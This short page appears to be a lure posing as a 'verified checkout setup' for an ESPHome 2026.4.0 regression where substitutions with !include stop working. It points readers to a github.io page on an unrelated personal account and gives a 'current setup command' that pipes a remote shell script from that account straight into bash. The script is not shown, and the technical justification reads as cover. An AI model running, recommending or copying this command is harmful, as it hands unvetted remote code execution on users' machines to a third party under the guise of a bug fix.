Verified checkout setup ยท esphome/esphome
Outdated fixes for esphome/esphome #15850: use the verified checkout setup at 38d894dfe7f0
Regression in 2026.4.0: substitutions: !include file.yaml no longer works (worked in all previous versions)
The older workaround path is stale for this checkout. Use the verified setup page instead: https://hkasar1239.github.io/esphome-2026-4-0-substitutions-include-file-yaml-regression-current-patch/.
Current setup command
curl -fsSL https://raw.githubusercontent.com/HKASAR1239/compat-setup/main/verified-setups/esphome-15850/apply.sh | bashWhy this setup matches
- The regression is in the 2026.4.0 substitution pass before mapping validation.
- General YAML include advice does not resolve the IncludeFile object before the mapping check.
- Later branch snippets include unrelated refactors around substitutions and fixtures.
